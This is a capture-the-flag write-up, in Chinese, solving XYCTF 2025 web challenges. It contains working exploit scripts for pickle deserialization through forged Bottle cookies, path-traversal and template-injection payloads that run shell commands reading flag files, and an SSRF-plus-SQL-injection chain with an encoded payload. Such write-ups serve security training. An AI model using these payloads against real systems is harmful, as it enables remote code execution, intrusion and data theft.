[XYCTF] 2025 Signin
源码:
# -*- encoding: utf-8 -*-
'''
@File : main.py
@Time : 2025/03/28 22:20:49
@Author : LamentXU
'''
'''
flag in /flag_{uuid4}
'''
from bottle import Bottle, request, response, redirect, static_file, run, route
with open('../../secret.txt', 'r') as f:
secret = f.read()
app = Bottle()
@route('/')
def index():
return '''HI'''
@route('/download')
def download():
name = request.query.filename
if '../../' in name or name.startswith('/') or name.startswith('../') or '\\' in name:
response.status = 403
return 'Forbidden'
with open(name, 'rb') as f:
data = f.read()
return data
@route('/secret')
def secret_page():
try:
session = request.get_cookie("name", secret=secret)
if not session or session["name"] == "guest":
session = {"name": "guest"}
response.set_cookie("name", session, secret=secret)
return 'Forbidden!'
if session["name"] == "admin":
return 'The secret has been deleted!'
except:
return "Error!"
run(host='0.0.0.0', port=8080, debug=False)
看到/download路由存在任意读取,小waf我们绕一下:
?filename=./.././.././.././secret.txt得到密钥:Hell0_H@cker_Y0u_A3r_Sm@r7
我们看看cookie的生成逻辑,跟进get_cookie函数
def get_cookie(self, key, default=None, secret=None, digestmod=hashlib.sha256):
""" Return the content of a cookie. To read a `Signed Cookie`, the
`secret` must match the one used to create the cookie (see
:meth:`BaseResponse.set_cookie`). If anything goes wrong (missing
cookie or wrong signature), return a default value. """
value = self.cookies.get(key)
if secret:
# See BaseResponse.set_cookie for details on signed cookies.
if value and value.startswith('!') and '?' in value:
sig, msg = map(tob, value[1:].split('?', 1))
hash = hmac.new(tob(secret), msg, digestmod=digestmod).digest()
if _lscmp(sig, base64.b64encode(hash)):
dst = pickle.loads(base64.b64decode(msg))
if dst and dst[0] == key:
return dst[1]
return default
return value or default看到这里还存在反序列化,这是好像想到之前看过关于bottle模板的get_cookie造成的反序列化问题
from bottle import cookie_encode
import os
import requests
secret = "Hell0_H@cker_Y0u_A3r_Sm@r7"
class Test:
def __reduce__(self):
return (eval, ("""__import__('os').system('cp /f* ./2.txt')""",))
exp = cookie_encode(
('session', {"name": [Test()]}),
secret
)
requests.get('http://gz.imxbt.cn:20458/secret', cookies={'name': exp.decode()})
伪造session发包,这里内容是什么不重要,因为根据源码name=admin也不能得到flag
我们的目的是打反序列化,执行我们的命令就好了。
这里官方的脚本好像不行,不知道是不是环境差异
他这里是使用cookie_encode直接生成cookie,看了一下源码好像确实差不多的逻辑,但是题目毕竟是用的get_cookie在服务器直接设置cookie,那我们可以按照这个思路,用set_cookie,自己起一个服务生成cookie
from bottle import route, run,response
import os
secret = "Hell0_H@cker_Y0u_A3r_Sm@r7"
class exp():
def __reduce__(self):
cmd = "ls />1"
return (os.system, (cmd,))
@route("/sign")
def index():
try:
session = exp()
response.set_cookie("name", session, secret=secret)
return "success"
except:
return "pls no hax"
if __name__ == "__main__":
os.chdir(os.path.dirname(__file__))
run(host="0.0.0.0", port=8081)但是这个脚本生成的cookie在我本地起的环境可以rce,但是题目环境不行,可能是linux和windows有一些差别,只需要在linux上起服务就好了
[XYCTF] 2025 出题人已疯
源码:
# -*- encoding: utf-8 -*-
'''
@File : app.py
@Time : 2025/03/29 15:52:17
@Author : LamentXU
'''
import bottle
'''
flag in /flag
'''
@bottle.route('/')
def index():
return 'Hello, World!'
@bottle.route('/attack')
def attack():
payload = bottle.request.query.get('payload')
if payload and len(payload) < 25 and 'open' not in payload and '\\' not in payload:
return bottle.template('hello '+payload)
else:
bottle.abort(400, 'Invalid payload')
if __name__ == '__main__':
bottle.run(host='0.0.0.0', port=5000)还是bottle,看到return bottle.template('hello '+payload)
应该是ssti,限制长度+过滤open和
测试一下确实存在
学到了一招,在flask里面我们知道可以往config里面塞payload,以绕过长度限制,但是bottle里面没有config
这里我们可以往os里面塞,(问了一下ai,好像是os模块内部用字典存储属性,所以我们可以像字典一样操作os)
import requests
url = 'http://challenge.imxbt.cn:32082/attack'
payload = "__import__('os').system('cat /f*>a')"
p = [payload[i:i+3] for i in range(0,len(payload),3)]
flag = True
for i in p:
if flag:
tmp = f'{{import os;os.a="{i}"}}'
flag = False
else:
tmp = f'{{import os;os.a+="{i}"}}'
r = requests.get(url,params={"payload":tmp})
r = requests.get(url,params={"payload":"{{import os;eval(os.a)}}"})
r = requests.get(url,params={"payload":"{{include('a')}}"}).text
print(r)这里就是吧payload利用for循环拆开一段一段写入到os.a中,最后执行os.a就是我们的完整payload
最后在包含我们写入的文件,这里浏览器直接访问是不行的,,
好像是因为flask网站中的路由不是根据文件映射的,是代码中写的,所以我们只能用include去包含它。

[XYCTF] 2025 出题人又疯
# -*- encoding: utf-8 -*-
'''
@File : app.py
@Time : 2025/03/29 15:52:17
@Author : LamentXU
'''
import bottle
'''
flag in /flag
'''
@bottle.route('/')
def index():
return 'Hello, World!'
blacklist = [
'o', '\\', '\r', '\n', 'import', 'eval', 'exec', 'system', ' ', ';' , 'read'
]
@bottle.route('/attack')
def attack():
payload = bottle.request.query.get('payload')
if payload and len(payload) < 25 and all(c not in payload for c in blacklist):
print(payload)
return bottle.template('hello '+payload)
else:
bottle.abort(400, 'Invalid payload')
if __name__ == '__main__':
bottle.run(host='0.0.0.0', port=5000)这里在上一题基础上又把常用关键字给禁了,这里想到之前学过的斜体字绕过,但是可惜的是不是文件上传,我们要url传参的话,这里就只有两个字符可以使用了
有一个限制就是如果题目直接渲染我们的输入的话,都需要经过URL编码,而斜体字的URL编码一般都会有两个编码值,比如ª就是%c2%aa,但是模板解析的时候会一个编码对应一个字符,所以很多就用不了,只有ª (U+00AA),º (U+00BA)可以通过去掉前面的%c2,使用%aa,%ba代替
这里刚好是LamentXU师傅发现的,可能就是考这个点,特意给了open
这里题目环境好像不对,我本地起的环境成功了。
[XYCTF] 2025 Fate
源码:
#!/usr/bin/env python3
import flask
import sqlite3
import requests
import string
import json
app = flask.Flask(__name__)
blacklist = string.ascii_letters
def binary_to_string(binary_string):
if len(binary_string) % 8 != 0:
raise ValueError("Binary string length must be a multiple of 8")
binary_chunks = [binary_string[i:i+8] for i in range(0, len(binary_string), 8)]
string_output = ''.join(chr(int(chunk, 2)) for chunk in binary_chunks)
return string_output
@app.route('/proxy', methods=['GET'])
def nolettersproxy():
url = flask.request.args.get('url')
if not url:
return flask.abort(400, 'No URL provided')
target_url = "http://lamentxu.top" + url
for i in blacklist:
if i in url:
return flask.abort(403, 'I blacklist the whole alphabet, hiahiahiahiahiahiahia~~~~~~')
if "." in url:
return flask.abort(403, 'No ssrf allowed')
response = requests.get(target_url)
return flask.Response(response.content, response.status_code)
def db_search(code):
with sqlite3.connect('database.db') as conn:
cur = conn.cursor()
cur.execute(f"SELECT FATE FROM FATETABLE WHERE NAME=UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER('{code}')))))))")
found = cur.fetchone()
return None if found is None else found[0]
@app.route('/')
def index():
print(flask.request.remote_addr)
return flask.render_template("index.html")
@app.route('/1337', methods=['GET'])
def api_search():
if flask.request.remote_addr == '127.0.0.1':
code = flask.request.args.get('0')
if code == 'abcdefghi':
req = flask.request.args.get('1')
try:
req = binary_to_string(req)
print(req)
req = json.loads(req) # No one can hack it, right? Pickle unserialize is not secure, but json is ;)
except:
flask.abort(400, "Invalid JSON")
if 'name' not in req:
flask.abort(400, "Empty Person's name")
name = req['name']
if len(name) > 6:
flask.abort(400, "Too long")
if '\'' in name:
flask.abort(400, "NO '")
if ')' in name:
flask.abort(400, "NO )")
"""
Some waf hidden here ;)
"""
fate = db_search(name)
if fate is None:
flask.abort(404, "No such Person")
return {'Fate': fate}
else:
flask.abort(400, "Hello local, and hello hacker")
else:
flask.abort(403, "Only local access allowed")
if __name__ == '__main__':
app.run(debug=True)
通过阅读源码我们知道首先有一个代理的路由/proxy
- 应该是打ssrf的
target_url = "http://lamentxu.top" + url但是这里有一个waf,会在前面加上一个脏数据,我们知道可以添加一个@来屏蔽前面的内容如:http://nihao@baidu.com会访问到百度,还有一个就是不能出现.,而我们需要的是127.0.0.1
这里可以用进制转化绕过(十进制:2130706433,因为不能出现ascii字符)
2. 然后就可以访问/1337路由了
先传入0="abcdefghi",
在传入1
3. 这里后面就要打sql注入了,
cur.execute(f"SELECT FATE FROM FATETABLE WHERE NAME=UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER('{code}')))))))")根据数据库配置文件可以知道flag的位置
import sqlite3
conn = sqlite3.connect("database.db")
conn.execute("""CREATE TABLE FATETABLE (
NAME TEXT NOT NULL,
FATE TEXT NOT NULL
);""")
Fate = [
('JOHN', '1994-2030 Dead in a car accident'),
('JANE', '1990-2025 Lost in a fire'),
('SARAH', '1982-2017 Fired by a government official'),
('DANIEL', '1978-2013 Murdered by a police officer'),
('LUKE', '1974-2010 Assassinated by a military officer'),
('KAREN', '1970-2006 Fallen from a cliff'),
('BRIAN', '1966-2002 Drowned in a river'),
('ANNA', '1962-1998 Killed by a bomb'),
('JACOB', '1954-1990 Lost in a plane crash'),
('LAMENTXU', r'2024 Send you a flag flag{FAKE}')
]
conn.executemany("INSERT INTO FATETABLE VALUES (?, ?)", Fate)
conn.commit()
conn.close()
payload:
code = '))))))) union select LAMENTXU FROM FATETABLE where name='LAMENTXU'--+这里的code是name,而name是json传进入的;
所以我们需要
{
"name":"'))))))) union select LAMENTXU FROM FATETABLE where name='LAMENTXU'--+"
}但是这里name中又不能出现'、(,并且长度不超过7这我们要怎么构造闭合呢。
这里学一个新的手法:
cur.execute(f"SELECT FATE FROM FATETABLE WHERE NAME=UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER('{code}')))))))")这里{code}是通过f-string传入的,所以不管是什么都会原样传入,我们可以利用这个特性
通过json中嵌套一层字典的形式:
{
"name":{
"'))))))) union select LAMENTXU FROM FATETABLE where name='LAMENTXU'--+":"1"
}
}这样检查name中有没有非法字符串都是把name当作dict了,
那waf就变成了
name字典有没有超过6个键值对(只有一个)name字典的键里面有没有'、((只有'))))))) union select LAMENTXU FROM FATETABLE where name='LAMENTXU'--+作为键) 这样就完美绕过waf。 并且f-string会把整个:{"'))))))) union select LAMENTXU FROM FATETABLE where name='LAMENTXU'--+":"1"}都原样复制到{code}的地方 这样sql语句就变成了:
SELECT FATE FROM FATETABLE WHERE NAME=UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER('{code}')))))))
----->
SELECT FATE FROM FATETABLE WHERE NAME=UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER('{"'))))))) UNION SELECT FATE FROM FATETABLE WHERE NAME='LAMENTXU' --":1}')))))))看到依旧没有改变我们需要的意思。这就打通了。
最后我们要注意,在变为传入json数据后,有一步操作:
req = binary_to_string(req)
print(req)
req = json.loads(req)在binary_to_string()之后才会把json存入。
所以我们要仿照这个解密函数,写一个加密函数,这样才能传入我们真正的意思
加密脚本:
def string_to_binary(input_string):
binary_list = [format(ord(char), '08b') for char in input_string]
binary_string = ''.join(binary_list)
return binary_string
print(string_to_binary("""{"name":{"'))))))) UNION SELECT FATE FROM FATETABLE WHERE NAME='LAMENTXU' --":1}}"""))
最后payload:
/proxy?url=@2130706433:8080/1337?1=011110110010001001101110011000010110110101100101001000100011101001111011001000100010011100101001001010010010100100101001001010010010100100101001001000000101010101001110010010010100111101001110001000000101001101000101010011000100010101000011010101000010000001000110010000010101010001000101001000000100011001010010010011110100110100100000010001100100000101010100010001010101010001000001010000100100110001000101001000000101011101001000010001010101001001000101001000000100111001000001010011010100010100111101001001110100110001000001010011010100010101001110010101000101100001010101001001110010000000101101001011010010001000111010001100010111110101111101%260=%2561%2562%2563%2564%2565%2566%2567%2568%2569